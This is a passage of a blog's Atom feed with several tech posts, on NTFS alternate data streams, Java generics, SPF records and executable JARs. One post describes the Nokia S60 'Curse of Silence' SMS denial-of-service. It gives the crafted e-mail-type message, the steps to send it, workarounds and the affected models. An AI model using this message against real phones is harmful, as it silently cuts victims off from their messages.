&lt;/pre&gt;Of course these files aren’t completely hidden because you can use a small command line application called &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb897440.aspx" rel="nofollow"&gt;Streams.exe&lt;/a&gt; to detect files that have streams, including their names and sizes. As alternative you can use the DIR command, if you are using Vista.&lt;br /&gt;
&lt;br /&gt;
For instance, in my scenario we’d use the following syntax:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;streams.exe library.txt
&lt;/pre&gt;and the result would be:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;C:\&amp;gt;streams.exe library.txt

Streams v1.56 - Enumerate alternate NTFS data streams
Copyright (C) 1999-2007 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\&amp;gt;library.txt:
     :secrets.txt:$DATA 34
        :todo.txt:$DATA 46
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;Conclusion&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This isn’t a secure way to hide data. It’s just one of those things that can be used for fun or be handy here or there.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-8860731387365569757?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/NwPk8vUO9K24bf6f-dUgsgvLCvI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/NwPk8vUO9K24bf6f-dUgsgvLCvI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/NwPk8vUO9K24bf6f-dUgsgvLCvI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/NwPk8vUO9K24bf6f-dUgsgvLCvI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/8860731387365569757/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=8860731387365569757" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/8860731387365569757?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/8860731387365569757?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/JA7ZNk6lQUI/alternate-data-streams.html" title="Alternate Data Streams" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://www.think-techie.com/2010/04/alternate-data-streams.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU4HRnY-eip7ImA9WxBUFUg.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-3784577087348670973</id><published>2010-03-02T20:21:00.004+01:00</published><updated>2010-03-02T20:25:37.852+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-02T20:25:37.852+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Mobile Phones" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><title>The Curse Of Silence</title><content type="html">&lt;div style="text-align:justify"&gt;A serious vulnerability for Nokia phones has been unveiled. This vulnerability blocks all incoming messages, whether it be in the form of SMS or MMS. It is considered to be a "Remote SMS/MMS Denial of Service" and is called the "Curse Of Silence".&lt;br /&gt;
&lt;br /&gt;
If the name isn’t enough to convince you just how bad this exploit really is, consider this: One day, you might wake up not being able to receive any messages on your phone. Probably you will think the problem is a hardware or software defect, but in the end it's just because of this exploit. &lt;br /&gt;
&lt;br /&gt;
This vulnerability can be explored by sending a simple, carefully tweaked SMS to any S60-based Nokia phone. Furthermore, the user interface does not give any indication of this situation.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;How it really works&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Emails can be sent via SMS by setting the messages Protocol Identifier to "Internet Electronic Mail" and formatting the message like this:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color:green"&gt;&amp;lt;email-address&amp;gt;&amp;lt;space&amp;gt;&amp;lt;message body&amp;gt;&lt;/div&gt;&lt;br /&gt;
If such messages contain an &amp;lt;email-address&amp;gt; with more than 32 characters, S60 2.6, 2.8, 3.0 and 3.1 devices are not able to receive other SMS or MMS messages anymore. 2.6 and 3.0 devices lock up after only one message, 2.8 and 3.1 devices after 11 messages. &lt;br /&gt;
&lt;br /&gt;
The simplest way to perform this attack is to write a SMS containing "123456789@123456789.1234567890123 " (the digits are used only to illustrate the length of the "email address" of more than 32 characters) to the target device. Note the space at the end of the message!&lt;br /&gt;
&lt;br /&gt;
Don't forget, you need to send a SMS with the type set to E-Mail (0x50). For example, on S60 devices, when in the message editor, the type of the message can be switched to &amp;quot;E-mail&amp;quot; under &amp;quot;Options&amp;quot; -&amp;gt; &amp;quot;Sending options&amp;quot; -&amp;gt; &amp;quot;Message sent as&amp;quot;. The 6310i conveniently offers a &amp;quot;Write email&amp;quot; menu entry in the messaging menu.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Workarounds&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The only action to remedy this situation from user side seems to be the installation of small application created by Nokia or a Factory Reset of the device (by entering "*#7370#").&lt;br /&gt;
&lt;br /&gt;
Furthermore, some network operators may also filter messages with TP-PID "Internet Electronic Mail" and an email address of more than 32 characters or reset the TP-PID of these messages to 0.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Detailed List of Affected Products&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
S60 3rd Edition, Feature Pack 1 (S60 3.1):&lt;br /&gt;
Nokia E90 Communicator&lt;br /&gt;
Nokia E71&lt;br /&gt;
Nokia E66&lt;br /&gt;
Nokia E51 &lt;br /&gt;
Nokia N95 8GB&lt;br /&gt;
Nokia N95&lt;br /&gt;
Nokia N82&lt;br /&gt;
Nokia N81 8GB&lt;br /&gt;
Nokia N81&lt;br /&gt;
Nokia N76&lt;br /&gt;
Nokia 6290&lt;br /&gt;
Nokia 6124 classic&lt;br /&gt;
Nokia 6121 classic&lt;br /&gt;
Nokia 6120 classic&lt;br /&gt;
Nokia 6110 Navigator&lt;br /&gt;
Nokia 5700 XpressMusic&lt;br /&gt;
&lt;br /&gt;
S60 3rd Edition, initial release (S60 3.0):&lt;br /&gt;
Nokia E70&lt;br /&gt;
Nokia E65&lt;br /&gt;
Nokia E62&lt;br /&gt;
Nokia E61i&lt;br /&gt;
Nokia E61&lt;br /&gt;
Nokia E60&lt;br /&gt;
Nokia E50&lt;br /&gt;
Nokia N93i&lt;br /&gt;
Nokia N93&lt;br /&gt;
Nokia N92&lt;br /&gt;
Nokia N91 8GB&lt;br /&gt;
Nokia N91 &lt;br /&gt;
Nokia N80&lt;br /&gt;
Nokia N77&lt;br /&gt;
Nokia N73&lt;br /&gt;
Nokia N71&lt;br /&gt;
Nokia 5500&lt;br /&gt;
Nokia 3250&lt;br /&gt;
&lt;br /&gt;
S60 2nd Edition, Feature Pack 3 (S60 2.8):&lt;br /&gt;
Nokia N90&lt;br /&gt;
Nokia N72&lt;br /&gt;
Nokia N70&lt;br /&gt;
&lt;br /&gt;
S60 2nd Edition, Feature Pack 2 (S60 2.6):&lt;br /&gt;
Nokia 6682&lt;br /&gt;
Nokia 6681&lt;br /&gt;
Nokia 6680&lt;br /&gt;
Nokia 6630&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-3784577087348670973?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/nKLktcQyUbQ3-naVum3QSQLeQyg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nKLktcQyUbQ3-naVum3QSQLeQyg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/nKLktcQyUbQ3-naVum3QSQLeQyg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nKLktcQyUbQ3-naVum3QSQLeQyg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/3784577087348670973/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=3784577087348670973" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/3784577087348670973?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/3784577087348670973?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/ZgLvh7LqhUs/curse-of-silence.html" title="The Curse Of Silence" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://www.think-techie.com/2010/03/curse-of-silence.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcHSXg8fSp7ImA9WhZXEks.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-775411758130503075</id><published>2010-02-09T21:00:00.006+01:00</published><updated>2011-05-01T17:33:58.675+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-01T17:33:58.675+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><title>Using Java Generics</title><content type="html">&lt;div style="text-align:justify"&gt;Many programmers are unsatisfied with the restrictions caused by the way generics are implemented in Java. Generics are implemented using &lt;i&gt;erasure&lt;/i&gt;, in which generic type parameters are simply removed at compile time (Thus not available to the JVM at runtime). However, that doesn't render generics useless. &lt;br /&gt;
&lt;br /&gt;
Since Java has two compilation steps, during the first phase (compile-time) the compiler will insert necessary casts in the code (so you don't have to) based on the generic type parameters, and then perform the typechecking. During the second phase the JVM doesn’t make use of type information for type parameters (though it seems like the information is stored in the ".class" file metadata area). &lt;br /&gt;
&lt;br /&gt;
Since the JVM isn’t aware of the type parameters associated with a type, it isn’t able to infer that certain operations are safe.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;Map&amp;lt;Integer,String&amp;gt; m = new HashMap&amp;lt;Integer,String&amp;gt;();
m.put(1, "SomeString");
String s = m.get(1);
&lt;/pre&gt;The new Java language allows the above code, but it gets compiled to:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;Map m = new HashMap();
m.put(1, "SomeString");
String s = (String) m.get(1);
&lt;/pre&gt;The lack of runtime type information causes things to not work as expected.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Generic Arrays&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
You cannot instantiate arrays of concrete parameterized types.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;List&amp;lt;Point3D&amp;gt;[] l = new List&amp;lt;Point3D&amp;gt;[10];
&lt;/pre&gt;The compiler will reject that because it could lead to a type error. &lt;br /&gt;
&lt;br /&gt;
The problem stems from the fact that every time you store a value into an array, there’s a runtime check involved. While that check might be optimized away in certain situations, the language spec doesn’t identify those situations; as far as the semantics are concerned, arrays are not really type safe.&lt;br /&gt;
&lt;br /&gt;
The main source of all the array-related issues is that Java arrays are covariant even though this is not typesafe. That’s why storing to an array requires runtime checks. If array variance was handled properly, there’d be no problem. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Casts&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Runtime type casting relies on runtime type information. When you don’t have that information, casts don’t work correctly.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;public void fun(Object o) {
  List&amp;lt;Integer&amp;gt; l = (List&amp;lt;Integer&amp;gt;) o;
}
&lt;/pre&gt;The compiler will issue a warning on line 2 saying that the cast is unchecked. It’s not fully unchecked, because the JVM will check to see if it’s actually a "List", but it can’t check whether it’s a list of Integers or Point3D because that information has been erased.&lt;br /&gt;
&lt;br /&gt;
Since it’s only a warning, you can execute that code and this particular fragment will run just fine. The problem only surfaces when you try and access one of the list elements with, for example, &lt;i&gt;get()&lt;/i&gt;. The Java compiler automatically casts the return value of &lt;i&gt;get()&lt;/i&gt; to Integer so if the list you got actually contained Point3D objects, you’ll end up with a &lt;i&gt;ClassCastException&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
The root problem here is that casts aren’t really type safe. Many functional programming languages use type-safe tagged unions to achieve the similar functionality. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Can’t Call Constructor&lt;/b&gt;&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;public class Pair&amp;lt;T&amp;gt; {
    T x1, x2;
    public Pair() {}
    public void init() {
        x1 = new T();  // Error
        x2 = new T();  // Error
    }
}
&lt;/pre&gt;This limitation isn’t solely due to type erasure. This is disallowed because there’s no guarantee that the class "T" has a constructor that takes zero parameters. However, you can get around this by using a factory:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;public interface Factory&amp;lt;T&amp;gt; {
    T create();
}

public  class Container&amp;lt;T&amp;gt; {
    Factory&amp;lt;T&amp;gt; factory;
    T x1, x2;

    public Pair(Factory&amp;lt;T&amp;gt; factory) { 
        this.factory = factory 
    }

    public void init() {
        x1 = factory.create ();
        x2 = factory.create ();
    }
}
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;Hacking Generics&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Let’s assume we want to create an array to handle generic operations with generic types (e.g. Array multiplication of numeric and non-numeric types: Integer, Point3D, String, ..)&lt;br /&gt;
&lt;br /&gt;
As you know you can’t create an array of generics with &lt;i&gt;T[] t = new T[1]&lt;/i&gt; and we can't use &lt;i&gt;Class clazz = T.getClass()&lt;/i&gt;. However inside a static context we can access some information about the generic type using the following code:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;Class clazz = (Class) ((java.lang.reflect.ParameterizedType)
    getClass().getGenericSuperclass()
        ).getActualTypeArguments()[0];
&lt;/pre&gt;Now that we know the type, it is possible to allocate the generic array and optionally instantiate it.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;array = (T[]) Array.newInstance(clazz, size); 

/** Call default constructor */
array[0] = (T) clazz.newInstance();

/** Call constructor T(String, Integer) */
array[0] = (T) clazz.getConstructor(String.class, 
                Integer.class).newInstance("SomeString", 1);
&lt;/pre&gt;In order to be successful with the &lt;i&gt;static&lt;/i&gt; modifier, we need to code the generic array class as an inner class (see next code snippet). The inner class &lt;i&gt;GenericArrayImpl&lt;/i&gt; will provide the basic implementation of a generic array that also initializes the generic objects. Specific array operations are implemented by specialized generic array implementations  (see &lt;i&gt;NonNumericArray&lt;/i&gt; and &lt;i&gt;NumericArray&lt;/i&gt;).&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;public interface IGenericArray&amp;lt;T&amp;gt; {
    public T get(int i);
    public void multiply(T obj);
}

public class GenericArray {

   /** Contains the implementation of common methods */
   private static abstract class GenericArrayImpl &amp;lt;T&amp;gt; 
                           implements IGenericArray&amp;lt;T&amp;gt; {
      …
   }

   /** Our non-numeric class */
   private static class NonNumericArray extends 
                  GenericArrayImpl&amp;lt;NonNumericClass&amp;gt; { 

      public NonNumericArray(int initialSize) {
         super(initialSize);
      }
 
      @Override
      public void multiply(NonNumericClass obj) {
         for (int j = 0; j &amp;lt; size; j++)
            array[j].multiply(obj);
      } 
   }

   private static class NumericArray extends 
                        GenericArrayImpl &amp;lt;Integer&amp;gt; {
 
      public NumericArray(int initialSize) {
         super(initialSize);
      }
 
      @Override
      public void multiply(Integer obj) {
         for (int j = 0; j &amp;lt; size; j++)
            array[j] *= obj;
      } 
   }
}
&lt;/pre&gt;A possible implementation for &lt;i&gt;GenericArrayImpl&lt;/i&gt; may be:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;private static abstract class GenericArrayImpl&amp;lt;T&amp;gt; 
                             implements IGenericArray&amp;lt;T&amp;gt; {

   protected T[] array;
   protected int size;
 
   public GenericArrayImpl(int initialSize) {
      this.size = initialSize;
      initialize();
   }

   @SuppressWarnings({ "unchecked" })
   private void initialize(){  
      Class clazz = 
      (Class) ((java.lang.reflect.ParameterizedType) 
            getClass().getGenericSuperclass()
            ).getActualTypeArguments()[0];

      /** Allocate the array */
      array = (T[]) Array.newInstance(clazz, size); 
  
      /** Initialize objects in the array */
      for (int j = 0; j &amp;lt; size; j++){
         try {
            /** Call default constructor */
            if(array[j] == null)
               array[j] = (T) clazz.newInstance();
   
            /** 
             * Perform some other operations: 
             * array[j].doSomething();
             */
         }
         catch (InstantiationException e) {
            e.printStackTrace();
         }
         catch (IllegalAccessException e) {
            e.printStackTrace();
         }
         catch (IllegalArgumentException e) {
            e.printStackTrace();
         }
         catch (SecurityException e) {
            e.printStackTrace();
         }
      }
   }
 
   /** Common implementation (to avoid duplicated code) */
   public T get(int p){
      return array[p];
   }
}
&lt;/pre&gt;Now we implement the non-numeric class, where the multiplication is defined.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;class NonNumericClass {

   private String data;
 
   public NonNumericClass (){
      data = "default";
   }
 
   public void multiply(NonNumericClass c){
      this.data += c.data;
   }
 
   @Override
   public String toString(){
      return data;
   }
}
&lt;/pre&gt;And voilá:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;/** Working with arrays of NonNumericClass */
IGenericArray&amp;lt;NonNumericClass&amp;gt; a = new GenericArray.NonNumericArray(1);
a.multiply(new NonNumericClass());

/** Working with arrays of Integer */
IGenericArray&amp;lt;Integer&amp;gt; b = new GenericArray.NumericArray(1);
b.multiply(new Integer(1));
&lt;/pre&gt;&lt;b&gt;References&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
[1] Type erasure is not evil. cakoose.com. http://cakoose.com/wiki/type_erasure_is_not_evil. Retrieved on 2010-09-02.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-775411758130503075?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hQC6ikLaZ36XXVn8SHB8l-XsAxM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hQC6ikLaZ36XXVn8SHB8l-XsAxM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hQC6ikLaZ36XXVn8SHB8l-XsAxM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hQC6ikLaZ36XXVn8SHB8l-XsAxM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/775411758130503075/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=775411758130503075" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/775411758130503075?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/775411758130503075?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/v6rAopl1QUo/using-java-generics.html" title="Using Java Generics" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2010/02/using-java-generics.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0MER3o6eyp7ImA9WxBQGEk.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-6665878618049207823</id><published>2009-12-18T18:58:00.003+01:00</published><updated>2010-01-18T20:03:26.413+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-18T20:03:26.413+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SIGGRAPH 2009" /><title>SIGGRAPH 2009</title><content type="html">&lt;div style="text-align:justify"&gt;Here's a video preview of &lt;a href="http://www.siggraph.org/s2009/" rek="nofollow"&gt;SIGGRAPH 2009&lt;/a&gt; technical papers. For more detailed information check the SIGGRAPH website.&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/qC5Y9W-E-po&amp;hl=en_US&amp;fs=1&amp;rel=0"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/qC5Y9W-E-po&amp;hl=en_US&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;/center&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-6665878618049207823?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ue-4AmN6uqPnFV15aEzgEqF23o4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ue-4AmN6uqPnFV15aEzgEqF23o4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ue-4AmN6uqPnFV15aEzgEqF23o4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ue-4AmN6uqPnFV15aEzgEqF23o4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/6665878618049207823/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=6665878618049207823" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/6665878618049207823?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/6665878618049207823?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/SsFUe-MT_mE/siggraph-2009.html" title="SIGGRAPH 2009" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2009/12/siggraph-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMHSXY7eip7ImA9WxBQGEk.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-2221823958903521181</id><published>2009-11-27T13:59:00.069+01:00</published><updated>2010-01-18T19:47:18.802+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-18T19:47:18.802+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>Anti-SPAM Techniques: Sender Policy Framework (SPF)</title><content type="html">&lt;div style="text-align: justify;"&gt;Did you ever received span from your own address ? &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://en.wikipedia.org/wiki/Sender_Policy_Framework" rel="nofollow"&gt;SPF is a Policy Framework&lt;/a&gt; to help domain owners to identify and pinpoint all the servers which are expected to send mail from their domain, in a DNS record. Therefore, its possible for SMTP receivers (e.g. MTAs like Exim, Postfix, Qmail etc.) to verify the envelope sender address against this information, and distinguish authentic messages from forgeries - reducing the chance of email 'spoofing', phishing schemes and spam!&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Create a SPF record&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
In the past many people have avoided SPF because of the trouble of setting up the SPF records - especially when using multiple ISP's or having mobile users. Nowadays this task can be simplified through this online tool: &lt;a href="http://www.openspf.org/wizard.html?mydomain=" rel="nofollow"&gt;The SPF Setup Wizard&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Deploy the SPF record&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
To use the newly created SPF record on a domain, make sure you have access to create a TXT-DNS record for the given domain. If you have access to create a TXT-DNS record all you need is to create such a TXT-DNS record containing the SPF record information, and you are done.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;SPF helps avoiding forgery but doesn't resolve the spam problem&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
The main problem is that there aren't many SPF records out there, so most of your lookups will come up with no information. Besides that, there is a lot of invalid/misconfigured SPF records out there.&lt;br /&gt;
&lt;br /&gt;
But even if everybody were to publish SPF records, and the forgery issue is resolved, it doesn't help prevent spam coming from non-forged envelopes. In fact many spammers started publishing SPF records for their spamming machines, so if you ever thought to use SPF to filter SPAM, you will have to rethink your strategy since it doesn't work.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;References&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
[1] Sender Policy Framework (SPF) Record and Godaddy. jamiejamison.com. http://www.jamiejamison.com/2005/08/sender_policy_f.html. Retrieved on 2009-11-06.&lt;br /&gt;
&lt;br /&gt;
[2] Creating SPF Records. godaddy.com. http://help.godaddy.com/article/3047. Retrieved on 2009-11-06.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-2221823958903521181?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/lfZda--eK5CY1Wzw27pDPBM6e3Y/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lfZda--eK5CY1Wzw27pDPBM6e3Y/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/lfZda--eK5CY1Wzw27pDPBM6e3Y/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lfZda--eK5CY1Wzw27pDPBM6e3Y/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/2221823958903521181/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=2221823958903521181" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/2221823958903521181?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/2221823958903521181?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/Mf7I1mg6m24/anti-spam-techniques-sender-policy.html" title="Anti-SPAM Techniques: Sender Policy Framework (SPF)" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2009/11/anti-spam-techniques-sender-policy.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcBSXs8eSp7ImA9WhZXEks.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-5414200904887768318</id><published>2009-10-28T16:45:00.018+01:00</published><updated>2011-05-01T17:34:18.571+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-01T17:34:18.571+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><title>How to create executable JAR archives with dependent libraries</title><content type="html">&lt;div style="text-align:justify"&gt;As you may know, you can combine several Java classes into a runnable JAR file. Through this approach you can pack large projects and execute them more easily.&lt;br /&gt;
The following steps will illustrate how to create and run a JAR file.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;1. Create a JAR&lt;/h3&gt;&lt;br /&gt;
